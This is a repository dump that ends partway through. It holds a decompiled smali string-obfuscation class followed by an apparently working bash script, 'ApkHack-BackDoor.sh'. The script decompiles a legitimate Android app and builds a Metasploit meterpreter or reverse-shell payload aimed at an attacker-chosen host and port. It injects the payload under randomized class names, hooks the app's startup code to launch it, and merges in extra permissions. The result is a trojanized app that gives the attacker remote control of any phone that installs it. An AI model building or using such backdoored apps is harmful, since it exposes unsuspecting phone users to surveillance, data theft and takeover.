196 | invoke-virtual {v2, v14, v11, v10}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V 197 | :try_end_2f 198 | .catch Ljava/security/InvalidAlgorithmParameterException; {:try_start_2c .. :try_end_2f} :catch_67 199 | .catch Ljava/security/InvalidKeyException; {:try_start_2c .. :try_end_2f} :catch_7c 200 | 201 | .line 66 202 | :try_start_2f 203 | invoke-virtual {v2, v13}, Ljavax/crypto/Cipher;->doFinal([B)[B 204 | :try_end_32 205 | .catch Ljavax/crypto/BadPaddingException; {:try_start_2f .. :try_end_32} :catch_6e 206 | .catch Ljavax/crypto/IllegalBlockSizeException; {:try_start_2f .. :try_end_32} :catch_7e 207 | 208 | move-result-object v5 209 | 210 | .line 70 211 | .local v5, "encryptedBytes":[B 212 | array-length v14, v9 213 | 214 | array-length v15, v5 215 | 216 | add-int/2addr v14, v15 217 | 218 | new-array v3, v14, [B 219 | 220 | .line 71 221 | .local v3, "cipherText":[B 222 | const/4 v14, 0x0 223 | 224 | const/4 v15, 0x0 225 | 226 | array-length v0, v9 227 | 228 | move/from16 v16, v0 229 | 230 | move/from16 v0, v16 231 | 232 | invoke-static {v9, v14, v3, v15, v0}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 233 | 234 | .line 72 235 | const/4 v14, 0x0 236 | 237 | array-length v15, v9 238 | 239 | array-length v0, v5 240 | 241 | move/from16 v16, v0 242 | 243 | move/from16 v0, v16 244 | 245 | invoke-static {v5, v14, v3, v15, v0}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 246 | 247 | .line 73 248 | const/4 v14, 0x2 249 | 250 | invoke-static {v3, v14}, Landroid/util/Base64;->encode([BI)[B 251 | 252 | move-result-object v1 253 | 254 | .line 75 255 | .local v1, "base64Bytes":[B 256 | :try_start_51 257 | new-instance v14, Ljava/lang/String; 258 | 259 | sget-object v15, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 260 | 261 | invoke-direct {v14, v1, v15}, Ljava/lang/String;->([BLjava/lang/String;)V 262 | :try_end_58 263 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_51 .. :try_end_58} :catch_75 264 | 265 | return-object v14 266 | 267 | .line 45 268 | .end local v1 # "base64Bytes":[B 269 | .end local v2 # "cipher":Ljavax/crypto/Cipher; 270 | .end local v3 # "cipherText":[B 271 | .end local v5 # "encryptedBytes":[B 272 | .end local v9 # "iv":[B 273 | .end local v10 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 274 | .end local v11 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 275 | .end local v12 # "sr":Ljava/security/SecureRandom; 276 | .end local v13 # "unencryptedBytes":[B 277 | :catch_59 278 | move-exception v4 279 | 280 | .line 46 281 | .local v4, "e":Ljava/io/UnsupportedEncodingException; 282 | new-instance v14, Ljava/lang/RuntimeException; 283 | 284 | invoke-direct {v14, v4}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 285 | 286 | throw v14 287 | 288 | .line 51 289 | .end local v4 # "e":Ljava/io/UnsupportedEncodingException; 290 | .restart local v13 # "unencryptedBytes":[B 291 | :catch_60 292 | move-exception v6 293 | 294 | .line 52 295 | .local v6, "f":Ljava/security/GeneralSecurityException; 296 | :goto_61 297 | new-instance v14, Ljava/lang/RuntimeException; 298 | 299 | invoke-direct {v14, v6}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 300 | 301 | throw v14 302 | 303 | .line 61 304 | .end local v6 # "f":Ljava/security/GeneralSecurityException; 305 | .restart local v2 # "cipher":Ljavax/crypto/Cipher; 306 | .restart local v9 # "iv":[B 307 | .restart local v10 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 308 | .restart local v11 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 309 | .restart local v12 # "sr":Ljava/security/SecureRandom; 310 | :catch_67 311 | move-exception v7 312 | 313 | .line 62 314 | .local v7, "g":Ljava/security/GeneralSecurityException; 315 | :goto_68 316 | new-instance v14, Ljava/lang/RuntimeException; 317 | 318 | invoke-direct {v14, v7}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 319 | 320 | throw v14 321 | 322 | .line 67 323 | .end local v7 # "g":Ljava/security/GeneralSecurityException; 324 | :catch_6e 325 | move-exception v8 326 | 327 | .line 68 328 | .local v8, "h":Ljava/security/GeneralSecurityException; 329 | :goto_6f 330 | new-instance v14, Ljava/lang/RuntimeException; 331 | 332 | invoke-direct {v14, v8}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 333 | 334 | throw v14 335 | 336 | .line 76 337 | .end local v8 # "h":Ljava/security/GeneralSecurityException; 338 | .restart local v1 # "base64Bytes":[B 339 | .restart local v3 # "cipherText":[B 340 | .restart local v5 # "encryptedBytes":[B 341 | :catch_75 342 | move-exception v4 343 | 344 | .line 77 345 | .restart local v4 # "e":Ljava/io/UnsupportedEncodingException; 346 | new-instance v14, Ljava/lang/RuntimeException; 347 | 348 | invoke-direct {v14, v4}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 349 | 350 | throw v14 351 | 352 | .line 61 353 | .end local v1 # "base64Bytes":[B 354 | .end local v3 # "cipherText":[B 355 | .end local v4 # "e":Ljava/io/UnsupportedEncodingException; 356 | .end local v5 # "encryptedBytes":[B 357 | :catch_7c 358 | move-exception v7 359 | 360 | goto :goto_68 361 | 362 | .line 67 363 | :catch_7e 364 | move-exception v8 365 | 366 | goto :goto_6f 367 | 368 | .line 51 369 | .end local v2 # "cipher":Ljavax/crypto/Cipher; 370 | .end local v9 # "iv":[B 371 | .end local v10 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 372 | .end local v11 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 373 | .end local v12 # "sr":Ljava/security/SecureRandom; 374 | :catch_80 375 | move-exception v6 376 | 377 | goto :goto_61 378 | .end method 379 | 380 | .method public static unobfuscate(Ljava/lang/String;)Ljava/lang/String; 381 | .registers 16 382 | .param p0, "value" # Ljava/lang/String; 383 | 384 | .prologue 385 | const/4 v14, 0x0 386 | 387 | .line 82 388 | invoke-static {}, Lnet/dirtybox/util/obfuscation/StringObfuscator;->initialize()V 389 | 390 | .line 85 391 | :try_start_4 392 | sget-object v12, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 393 | 394 | invoke-virtual {p0, v12}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B 395 | :try_end_9 396 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_4 .. :try_end_9} :catch_44 397 | 398 | move-result-object v0 399 | 400 | .line 89 401 | .local v0, "base64Bytes":[B 402 | invoke-static {v0, v14}, Landroid/util/Base64;->decode([BI)[B 403 | 404 | move-result-object v2 405 | 406 | .line 92 407 | .local v2, "cipherText":[B 408 | :try_start_e 409 | const-string v12, "AES/CTR/NoPadding" 410 | 411 | invoke-static {v12}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher; 412 | :try_end_13 413 | .catch Ljava/security/NoSuchAlgorithmException; {:try_start_e .. :try_end_13} :catch_4b 414 | .catch Ljavax/crypto/NoSuchPaddingException; {:try_start_e .. :try_end_13} :catch_6b 415 | 416 | move-result-object v1 417 | 418 | .line 96 419 | .local v1, "cipher":Ljavax/crypto/Cipher; 420 | new-instance v10, Ljavax/crypto/spec/SecretKeySpec; 421 | 422 | sget-object v12, Lnet/dirtybox/util/obfuscation/StringObfuscator;->DECODED_KEY:[B 423 | 424 | const-string v13, "AES" 425 | 426 | invoke-direct {v10, v12, v13}, Ljavax/crypto/spec/SecretKeySpec;->([BLjava/lang/String;)V 427 | 428 | .line 97 429 | .local v10, "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 430 | const/16 v12, 0x10 431 | 432 | new-array v8, v12, [B 433 | 434 | .line 98 435 | .local v8, "iv":[B 436 | array-length v12, v8 437 | 438 | invoke-static {v2, v14, v8, v14, v12}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 439 | 440 | .line 99 441 | new-instance v9, Ljavax/crypto/spec/IvParameterSpec; 442 | 443 | invoke-direct {v9, v8}, Ljavax/crypto/spec/IvParameterSpec;->([B)V 444 | 445 | .line 100 446 | .local v9, "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 447 | array-length v12, v2 448 | 449 | array-length v13, v8 450 | 451 | sub-int/2addr v12, v13 452 | 453 | new-array v4, v12, [B 454 | 455 | .line 101 456 | .local v4, "encryptedBytes":[B 457 | array-length v12, v8 458 | 459 | array-length v13, v4 460 | 461 | invoke-static {v2, v12, v4, v14, v13}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 462 | 463 | .line 103 464 | const/4 v12, 0x2 465 | 466 | :try_start_35 467 | invoke-virtual {v1, v12, v10, v9}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V 468 | :try_end_38 469 | .catch Ljava/security/InvalidAlgorithmParameterException; {:try_start_35 .. :try_end_38} :catch_52 470 | .catch Ljava/security/InvalidKeyException; {:try_start_35 .. :try_end_38} :catch_67 471 | 472 | .line 109 473 | :try_start_38 474 | invoke-virtual {v1, v4}, Ljavax/crypto/Cipher;->doFinal([B)[B 475 | :try_end_3b 476 | .catch Ljavax/crypto/BadPaddingException; {:try_start_38 .. :try_end_3b} :catch_59 477 | .catch Ljavax/crypto/IllegalBlockSizeException; {:try_start_38 .. :try_end_3b} :catch_69 478 | 479 | move-result-object v11 480 | 481 | .line 114 482 | .local v11, "unencryptedBytes":[B 483 | :try_start_3c 484 | new-instance v12, Ljava/lang/String; 485 | 486 | sget-object v13, Lnet/dirtybox/util/obfuscation/StringObfuscator;->OBFUSCATION_CHARSET:Ljava/lang/String; 487 | 488 | invoke-direct {v12, v11, v13}, Ljava/lang/String;->([BLjava/lang/String;)V 489 | :try_end_43 490 | .catch Ljava/io/UnsupportedEncodingException; {:try_start_3c .. :try_end_43} :catch_60 491 | 492 | return-object v12 493 | 494 | .line 86 495 | .end local v0 # "base64Bytes":[B 496 | .end local v1 # "cipher":Ljavax/crypto/Cipher; 497 | .end local v2 # "cipherText":[B 498 | .end local v4 # "encryptedBytes":[B 499 | .end local v8 # "iv":[B 500 | .end local v9 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 501 | .end local v10 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 502 | .end local v11 # "unencryptedBytes":[B 503 | :catch_44 504 | move-exception v3 505 | 506 | .line 87 507 | .local v3, "e":Ljava/io/UnsupportedEncodingException; 508 | new-instance v12, Ljava/lang/RuntimeException; 509 | 510 | invoke-direct {v12, v3}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 511 | 512 | throw v12 513 | 514 | .line 93 515 | .end local v3 # "e":Ljava/io/UnsupportedEncodingException; 516 | .restart local v0 # "base64Bytes":[B 517 | .restart local v2 # "cipherText":[B 518 | :catch_4b 519 | move-exception v5 520 | 521 | .line 94 522 | .local v5, "f":Ljava/security/GeneralSecurityException; 523 | :goto_4c 524 | new-instance v12, Ljava/lang/RuntimeException; 525 | 526 | invoke-direct {v12, v5}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 527 | 528 | throw v12 529 | 530 | .line 104 531 | .end local v5 # "f":Ljava/security/GeneralSecurityException; 532 | .restart local v1 # "cipher":Ljavax/crypto/Cipher; 533 | .restart local v4 # "encryptedBytes":[B 534 | .restart local v8 # "iv":[B 535 | .restart local v9 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 536 | .restart local v10 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 537 | :catch_52 538 | move-exception v6 539 | 540 | .line 105 541 | .local v6, "g":Ljava/security/GeneralSecurityException; 542 | :goto_53 543 | new-instance v12, Ljava/lang/RuntimeException; 544 | 545 | invoke-direct {v12, v6}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 546 | 547 | throw v12 548 | 549 | .line 110 550 | .end local v6 # "g":Ljava/security/GeneralSecurityException; 551 | :catch_59 552 | move-exception v7 553 | 554 | .line 111 555 | .local v7, "h":Ljava/security/GeneralSecurityException; 556 | :goto_5a 557 | new-instance v12, Ljava/lang/RuntimeException; 558 | 559 | invoke-direct {v12, v7}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 560 | 561 | throw v12 562 | 563 | .line 115 564 | .end local v7 # "h":Ljava/security/GeneralSecurityException; 565 | .restart local v11 # "unencryptedBytes":[B 566 | :catch_60 567 | move-exception v3 568 | 569 | .line 116 570 | .restart local v3 # "e":Ljava/io/UnsupportedEncodingException; 571 | new-instance v12, Ljava/lang/RuntimeException; 572 | 573 | invoke-direct {v12, v3}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V 574 | 575 | throw v12 576 | 577 | .line 104 578 | .end local v3 # "e":Ljava/io/UnsupportedEncodingException; 579 | .end local v11 # "unencryptedBytes":[B 580 | :catch_67 581 | move-exception v6 582 | 583 | goto :goto_53 584 | 585 | .line 110 586 | :catch_69 587 | move-exception v7 588 | 589 | goto :goto_5a 590 | 591 | .line 93 592 | .end local v1 # "cipher":Ljavax/crypto/Cipher; 593 | .end local v4 # "encryptedBytes":[B 594 | .end local v8 # "iv":[B 595 | .end local v9 # "ivParamSpec":Ljavax/crypto/spec/IvParameterSpec; 596 | .end local v10 # "secKeySpec":Ljavax/crypto/spec/SecretKeySpec; 597 | :catch_6b 598 | move-exception v5 599 | 600 | goto :goto_4c 601 | .end method 602 | -------------------------------------------------------------------------------- /ApkHack-BackDoor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # file: ApkHack-BackDoor.sh 4 | 5 | # usage: ./ApkHack-BackDoor.sh original.apk 6 | 7 | # BitWalls-ops DarkHub 8 | # Offensive and Defensive Security Specialist | Hacker-in-Residence 9 | # Reverse Engineer | Penetration Tester 10 | 11 | # IMPORTANT: The following packages were required on Kali Linux 12 | # in order to get things rolling. These packages are likely 13 | # required by other Linux distros as well. 14 | # apt-get install lib32z1 lib32ncurses5 lib32stdc++6 15 | 16 | VERSION="2.0.4a" 17 | 18 | PAYLOAD="" 19 | LHOST="" 20 | LPORT="" 21 | PERM_OPT="" 22 | 23 | ORIG_PACKAGE="" 24 | INJECT_PACKAGE="" 25 | SMALI_FILE_TO_HOOK="" 26 | 27 | MSFVENOM=msfvenom 28 | BAKSMALI=baksmali 29 | UNZIP=unzip 30 | KEYTOOL=keytool 31 | JARSIGNER=jarsigner 32 | APKTOOL=apktool 33 | ASO=third-party/android-string-obfuscator/lib/aso 34 | DX=third-party/android-sdk-linux/build-tools/25.0.2/dx 35 | ZIPALIGN=third-party/android-sdk-linux/build-tools/25.0.2/zipalign 36 | # file paths and misc 37 | MY_PATH=`pwd` 38 | TMP_DIR=$MY_PATH/tmp 39 | ORIG_APK_FILE=$1 40 | ORIG_APK_FILE_NAME="" 41 | RAT_APK_FILE=Rat.apk 42 | LOG_FILE=$MY_PATH/run.log 43 | TIME_OF_RUN=`date` 44 | # for functions 45 | FUNC_RESULT="" 46 | 47 | # functions 48 | function gen_placeholder { 49 | local result=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 32 | head -n 1) 50 | FUNC_RESULT=$result 51 | return 0 52 | } 53 | 54 | function gen_smali_package_dir { 55 | local dir=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 5 | head -n 1) 56 | FUNC_RESULT=$dir 57 | return 0 58 | } 59 | 60 | function gen_smali_class_name { 61 | local start=$(cat /dev/urandom | tr -dc 'A-Z' | fold -w 1 | head -n 1) 62 | local end=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 4 | head -n 1) 63 | FUNC_RESULT=$start$end 64 | return 0 65 | } 66 | 67 | function find_smali_file { 68 | # $1 = smali_file_to_hook 69 | # $2 = android_class 70 | if [ ! -f $1 ]; then 71 | local index=2 72 | local max=1000 73 | local smali_file="" 74 | while [ $index -lt $max ]; do 75 | smali_file=$MY_PATH/original/smali_classes$index/$2.smali 76 | if [ -f $smali_file ]; then 77 | # found 78 | FUNC_RESULT=$smali_file 79 | return 0 80 | else 81 | let index=index+1 82 | fi 83 | done 84 | # not found 85 | return 1 86 | else 87 | FUNC_RESULT=$1 88 | return 0 89 | fi 90 | } 91 | 92 | function hook_smali_file { 93 | # $1 = new_ms_name 94 | # $2 = smali_file_to_hook 95 | local smali_file=$2 96 | inject_line_num=$(grep -n "return-void" $smali_file |head -n 1|awk -F ":" '{ print $1 }') 97 | sed -i ''"$inject_line_num"'i\ \ \ \ invoke-static \{\}, L'"$INJECT_PACKAGE"'\/'"$1"';->start()V\n' $smali_file >>$LOG_FILE 2>&1 98 | grep -B 2 "$INJECT_PACKAGE/$1" $smali_file >>$LOG_FILE 2>&1 99 | if [ $? == 0 ]; then 100 | echo "The smali file was hooked successfully" >>$LOG_FILE 2>&1 101 | FUNC_RESULT=$smali_file 102 | return 0 103 | else 104 | echo "Failed to hook smali file" >>$LOG_FILE 2>&1 105 | return 1 106 | fi 107 | } 108 | 109 | function cleanup { 110 | echo "Forcing cleanup due to a failure or error state!" >>$LOG_FILE 2>&1 111 | bash cleanup.sh >>$LOG_FILE 2>&1 112 | } 113 | 114 | function verify_orig_apk { 115 | if [ -z $ORIG_APK_FILE ]; then 116 | echo "[!] No original APK file specified" 117 | exit 1 118 | fi 119 | 120 | if [ ! -f $ORIG_APK_FILE ]; then 121 | echo "[!] Original APK file specified does not exist" 122 | exit 1 123 | fi 124 | 125 | $UNZIP -l $ORIG_APK_FILE >>$LOG_FILE 2>&1 126 | rc=$? 127 | if [ $rc != 0 ]; then 128 | echo "[!] Original APK file specified is not valid" 129 | exit $rc 130 | fi 131 | } 132 | 133 | function consult_which { 134 | which $1 >>$LOG_FILE 2>&1 135 | rc=$? 136 | if [ $rc != 0 ]; then 137 | echo "[!] Check your environment and configuration. Couldn't find: $1" 138 | exit $rc 139 | fi 140 | } 141 | 142 | function print_ascii_art { 143 | cat << "EOF" 144 | _ ____ _ __ _ _ _ ____ _ __ 145 | / \ | _ \| |/ / | | | | / \ / ___| |/ / 146 | / _ \ | |_) | ' / | |_| | / _ \| | | ' / 147 | / ___ \| __/| . \ | _ |/ ___ \ |___| . \ 148 | /_/ \_\_| |_|\_\ |_| |_/_/ \_\____|_|\_\ 149 | 150 | /____________\ 151 | |____________| BitWalls-ops DarkHub 152 | 153 | EOF 154 | } 155 | 156 | function get_payload { 157 | echo "[+] Android payload options:" 158 | PS3='[?] Please select an Android payload option: ' 159 | options=("meterpreter/reverse_http" "meterpreter/reverse_https" "meterpreter/reverse_tcp" "shell/reverse_http" "shell/reverse_https" "shell/reverse_tcp") 160 | select opt in "${options[@]}" 161 | do 162 | case $opt in 163 | "meterpreter/reverse_http") 164 | PAYLOAD="android/meterpreter/reverse_http" 165 | break 166 | ;; 167 | "meterpreter/reverse_https") 168 | PAYLOAD="android/meterpreter/reverse_https" 169 | break 170 | ;; 171 | "meterpreter/reverse_tcp") 172 | PAYLOAD="android/meterpreter/reverse_tcp" 173 | break 174 | ;; 175 | "shell/reverse_http") 176 | PAYLOAD="android/shell/reverse_http" 177 | break 178 | ;; 179 | "shell/reverse_https") 180 | PAYLOAD="android/shell/reverse_https" 181 | break 182 | ;; 183 | "shell/reverse_tcp") 184 | PAYLOAD="android/shell/reverse_tcp" 185 | break 186 | ;; 187 | *) 188 | echo "[!] Invalid option selected" 189 | ;; 190 | esac 191 | done 192 | } 193 | 194 | function get_lhost { 195 | while true; do 196 | read -p "[?] Please enter an LHOST value: " lh 197 | if [ $lh ]; then 198 | LHOST=$lh 199 | break 200 | fi 201 | done 202 | } 203 | 204 | function get_lport { 205 | while true; do 206 | read -p "[?] Please enter an LPORT value: " lp 207 | if [ $lp ]; then 208 | if [[ "$lp" =~ ^[0-9]+$ ]] && [ "$lp" -ge 1 -a "$lp" -le 65535 ]; then 209 | LPORT=$lp 210 | break 211 | fi 212 | fi 213 | done 214 | } 215 | 216 | function get_perm_opt { 217 | echo "[+] Android manifest permission options:" 218 | PS3='[?] Please select an Android manifest permission option: ' 219 | options=("Keep original" "Merge with payload and shuffle") 220 | select opt in "${options[@]}" 221 | do 222 | case $opt in 223 | "Keep original") 224 | PERM_OPT="KEEPO" 225 | break 226 | ;; 227 | "Merge with payload and shuffle") 228 | PERM_OPT="RANDO" 229 | break 230 | ;; 231 | *) 232 | echo "[!] Invalid option selected" 233 | ;; 234 | esac 235 | done 236 | } 237 | 238 | function init { 239 | echo "Running backdoor-apk at $TIME_OF_RUN" >$LOG_FILE 2>&1 240 | print_ascii_art 241 | echo "[*] Running backdoor-apk.sh v$VERSION on $TIME_OF_RUN" 242 | consult_which $MSFVENOM 243 | consult_which $BAKSMALI 244 | consult_which $UNZIP 245 | consult_which $KEYTOOL 246 | consult_which $JARSIGNER 247 | consult_which $APKTOOL 248 | consult_which $ASO 249 | consult_which $DX 250 | consult_which $ZIPALIGN 251 | verify_orig_apk 252 | get_payload 253 | get_lhost 254 | get_lport 255 | get_perm_opt 256 | mkdir -v $TMP_DIR >>$LOG_FILE 2>&1 257 | } 258 | 259 | # kick things off 260 | init 261 | 262 | # generate Metasploit resource script 263 | cat >$MY_PATH/backdoor-apk.rc <>$LOG_FILE 2>&1 275 | echo -n "[*] Decompiling original APK file..." 276 | $APKTOOL d -f -o $MY_PATH/original $MY_PATH/$ORIG_APK_FILE >>$LOG_FILE 2>&1 277 | rc=$? 278 | echo "done." 279 | if [ $rc != 0 ]; then 280 | echo "[!] Failed to decompile original APK file" 281 | cleanup 282 | exit $rc 283 | fi 284 | 285 | echo -n "[*] Locating smali file to hook in original project..." 286 | total_package=`head -n 2 $MY_PATH/original/AndroidManifest.xml|grep ">$LOG_FILE 2>&1 289 | android_class=$android_name 290 | echo "Value of android_class: $android_class" >>$LOG_FILE 2>&1 291 | smali_file_to_hook=$MY_PATH/original/smali/$android_class.smali 292 | find_smali_file $smali_file_to_hook $android_class 293 | rc=$? 294 | if [ $rc != 0 ]; then 295 | echo "done." 296 | echo "[!] Failed to locate smali file to hook" 297 | cleanup 298 | exit $rc 299 | else 300 | echo "done." 301 | smali_file_to_hook=$FUNC_RESULT 302 | echo "The smali file to hook: $smali_file_to_hook" >>$LOG_FILE 2>&1 303 | ORIG_PACKAGE=$total_package 304 | SMALI_FILE_TO_HOOK=$smali_file_to_hook 305 | fi 306 | echo "[+] Package where RAT smali files will be injected: $ORIG_PACKAGE" 307 | echo "[+] Smali file to hook RAT payload: $android_class.smali" 308 | 309 | echo -n "[*] Generating RAT APK file..." 310 | $MSFVENOM -a dalvik --platform android -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -f raw -o $RAT_APK_FILE >>$LOG_FILE 2>&1 311 | rc=$? 312 | echo "done." 313 | if [ $rc != 0 ] || [ ! -f $RAT_APK_FILE ]; then 314 | echo "[!] Failed to generate RAT APK file" 315 | exit 1 316 | fi 317 | 318 | echo -n "[*] Decompiling RAT APK file..." 319 | $APKTOOL d -f -o $MY_PATH/payload $MY_PATH/$RAT_APK_FILE >>$LOG_FILE 2>&1 320 | rc=$? 321 | echo "done." 322 | if [ $rc != 0 ]; then 323 | echo "[!] Failed to decompile RAT APK file" 324 | cleanup 325 | exit $rc 326 | fi 327 | 328 | gen_placeholder 329 | placeholder=$FUNC_RESULT 330 | echo "placeholder value: $placeholder" >>$LOG_FILE 2>&1 331 | 332 | original_manifest_file=$MY_PATH/original/AndroidManifest.xml 333 | if [ "$PERM_OPT" == "RANDO" ]; then 334 | echo -n "[*] Merging permissions of original and payload projects..." 335 | tmp_perms_file=$MY_PATH/perms.tmp 336 | payload_manifest_file=$MY_PATH/payload/AndroidManifest.xml 337 | merged_manifest_file=$MY_PATH/original/AndroidManifest.xml.merged 338 | grep "$tmp_perms_file 339 | grep ">$tmp_perms_file 340 | grep "$tmp_perms_file.uniq 341 | mv $tmp_perms_file.uniq $tmp_perms_file 342 | sed "s//$placeholder/g" $original_manifest_file >$merged_manifest_file 343 | awk '/^[ \t]*'"$placeholder"'/&&c++ {next} 1' $merged_manifest_file >$merged_manifest_file.uniq 344 | mv $merged_manifest_file.uniq $merged_manifest_file 345 | sed -i "s/$placeholder/$(sed -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $tmp_perms_file | tr -d '\n')/" $merged_manifest_file 346 | diff $original_manifest_file $merged_manifest_file >>$LOG_FILE 2>&1 347 | mv $merged_manifest_file $original_manifest_file 348 | echo "done." 349 | # cleanup payload directory after merging app permissions 350 | #rm -rf $MY_PATH/payload >>$LOG_FILE 2>&1 351 | elif [ "$PERM_OPT" == "KEEPO" ]; then 352 | echo "[+] Keeping permissions of original project" 353 | else 354 | echo "[!] Something went terribly wrong..." 355 | cleanup 356 | exit 1 357 | fi 358 | 359 | # use dx and baksmali to inject Java classes 360 | echo -n "[*] Injecting helpful Java classes in RAT APK file..." 361 | mkdir -v -p $MY_PATH/bin/classes >>$LOG_FILE 2>&1 362 | mkdir -v -p $MY_PATH/libs >>$LOG_FILE 2>&1 363 | $DX --dex --output="$MY_PATH/bin/classes/classes.dex" $MY_PATH/java/* >>$LOG_FILE 2>&1 364 | rc=$? 365 | if [ $rc != 0 ]; then 366 | echo "done." 367 | echo "[!] Failed to run dx on Java class files" 368 | cleanup 369 | exit $rc 370 | fi 371 | $BAKSMALI d -o $MY_PATH/bin/classes/smali $MY_PATH/bin/classes/classes.dex >>$LOG_FILE 2>&1 372 | rc=$? 373 | if [ $rc != 0 ]; then 374 | echo "done." 375 | echo "[!] Failed to run baksmali on classes.dex created for Java class files" 376 | cleanup 377 | exit $rc 378 | fi 379 | cp -v -r $MY_PATH/bin/classes/smali/* $MY_PATH/payload/smali >>$LOG_FILE 2>&1 380 | rc=$? 381 | if [ $rc != 0 ]; then 382 | echo "done." 383 | echo "[!] Failed to inject smali files dervied from Java classes" 384 | cleanup 385 | exit $rc 386 | fi 387 | echo "done." 388 | 389 | # avoid having com/metasploit/stage path to smali files 390 | echo -n "[*] Creating new directory in original package for RAT smali files..." 391 | gen_smali_package_dir 392 | inject_package_dir=$FUNC_RESULT 393 | inject_package_path=$ORIG_PACKAGE/$inject_package_dir 394 | mkdir -v -p $MY_PATH/original/smali/$inject_package_path >>$LOG_FILE 2>&1 395 | rc=$? 396 | echo "done." 397 | if [ $rc != 0 ]; then 398 | echo "[!] Failed to create new directory for RAT smali files" 399 | cleanup 400 | exit $rc 401 | else 402 | echo "[+] Inject package path: $inject_package_path" 403 | INJECT_PACKAGE=$inject_package_path 404 | fi 405 | 406 | # create new smali class names 407 | gen_smali_class_name 408 | new_mbr_name=$FUNC_RESULT 409 | echo "[+] Generated new smali class name for MainBroadcastReceiver.smali: $new_mbr_name" 410 | gen_smali_class_name 411 | new_ms_name=$FUNC_RESULT 412 | echo "[+] Generated new smali class name for MainService.smali: $new_ms_name" 413 | gen_smali_class_name 414 | new_payload_name=$FUNC_RESULT 415 | echo "[+] Generated new smali class name for Payload.smali: $new_payload_name" 416 | gen_smali_class_name 417 | new_so_name=$FUNC_RESULT 418 | echo "[+] Generated new smali class name for StringObfuscator.smali: $new_so_name" 419 | gen_smali_package_dir 420 | new_so_obfuscate_method_name=$FUNC_RESULT 421 | echo "[+] Generated new smali method name for StringObfuscator.obfuscate method: $new_so_obfuscate_method_name" 422 | gen_smali_package_dir 423 | new_so_unobfuscate_method_name=$FUNC_RESULT 424 | echo "[+] Generated new smali method name for StringObfuscator.unobfuscate method: $new_so_unobfuscate_method_name" 425 | 426 | echo -n "[*] Copying RAT smali files to new directories in original project..." 427 | # handle MainBroadcastReceiver.smali 428 | mv -v $MY_PATH/payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_mbr_name.smali >>$LOG_FILE 2>&1 429 | rc=$? 430 | if [ $rc == 0 ]; then 431 | # handle MainService.smali 432 | mv -v $MY_PATH/payload/smali/com/metasploit/stage/MainService.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_ms_name.smali >>$LOG_FILE 2>&1 433 | rc=$? 434 | fi 435 | if [ $rc == 0 ]; then 436 | # handle Payload.smali 437 | mv -v $MY_PATH/payload/smali/com/metasploit/stage/Payload.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_payload_name.smali >>$LOG_FILE 2>&1 438 | rc=$? 439 | fi 440 | if [ $rc == 0 ]; then 441 | cp -v $MY_PATH/payload/smali/com/metasploit/stage/*.smali $MY_PATH/original/smali/$INJECT_PACKAGE >>$LOG_FILE 2>&1 442 | rc=$? 443 | fi 444 | if [ $rc == 0 ]; then 445 | rm -v $MY_PATH/original/smali/$INJECT_PACKAGE/MainActivity.smali >>$LOG_FILE 2>&1 446 | rc=$? 447 | fi 448 | if [ $rc == 0 ]; then 449 | cp -v $MY_PATH/payload/smali/net/dirtybox/util/obfuscation/StringObfuscator.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1 450 | rc=$? 451 | fi 452 | echo "done." 453 | if [ $rc != 0 ]; then 454 | echo "[!] Failed to copy RAT smali files" 455 | cleanup 456 | exit $rc 457 | fi 458 | 459 | echo -n "[*] Fixing RAT smali files..." 460 | sed -i "s/MainBroadcastReceiver/$new_mbr_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 461 | rc=$? 462 | if [ $rc == 0 ]; then 463 | sed -i 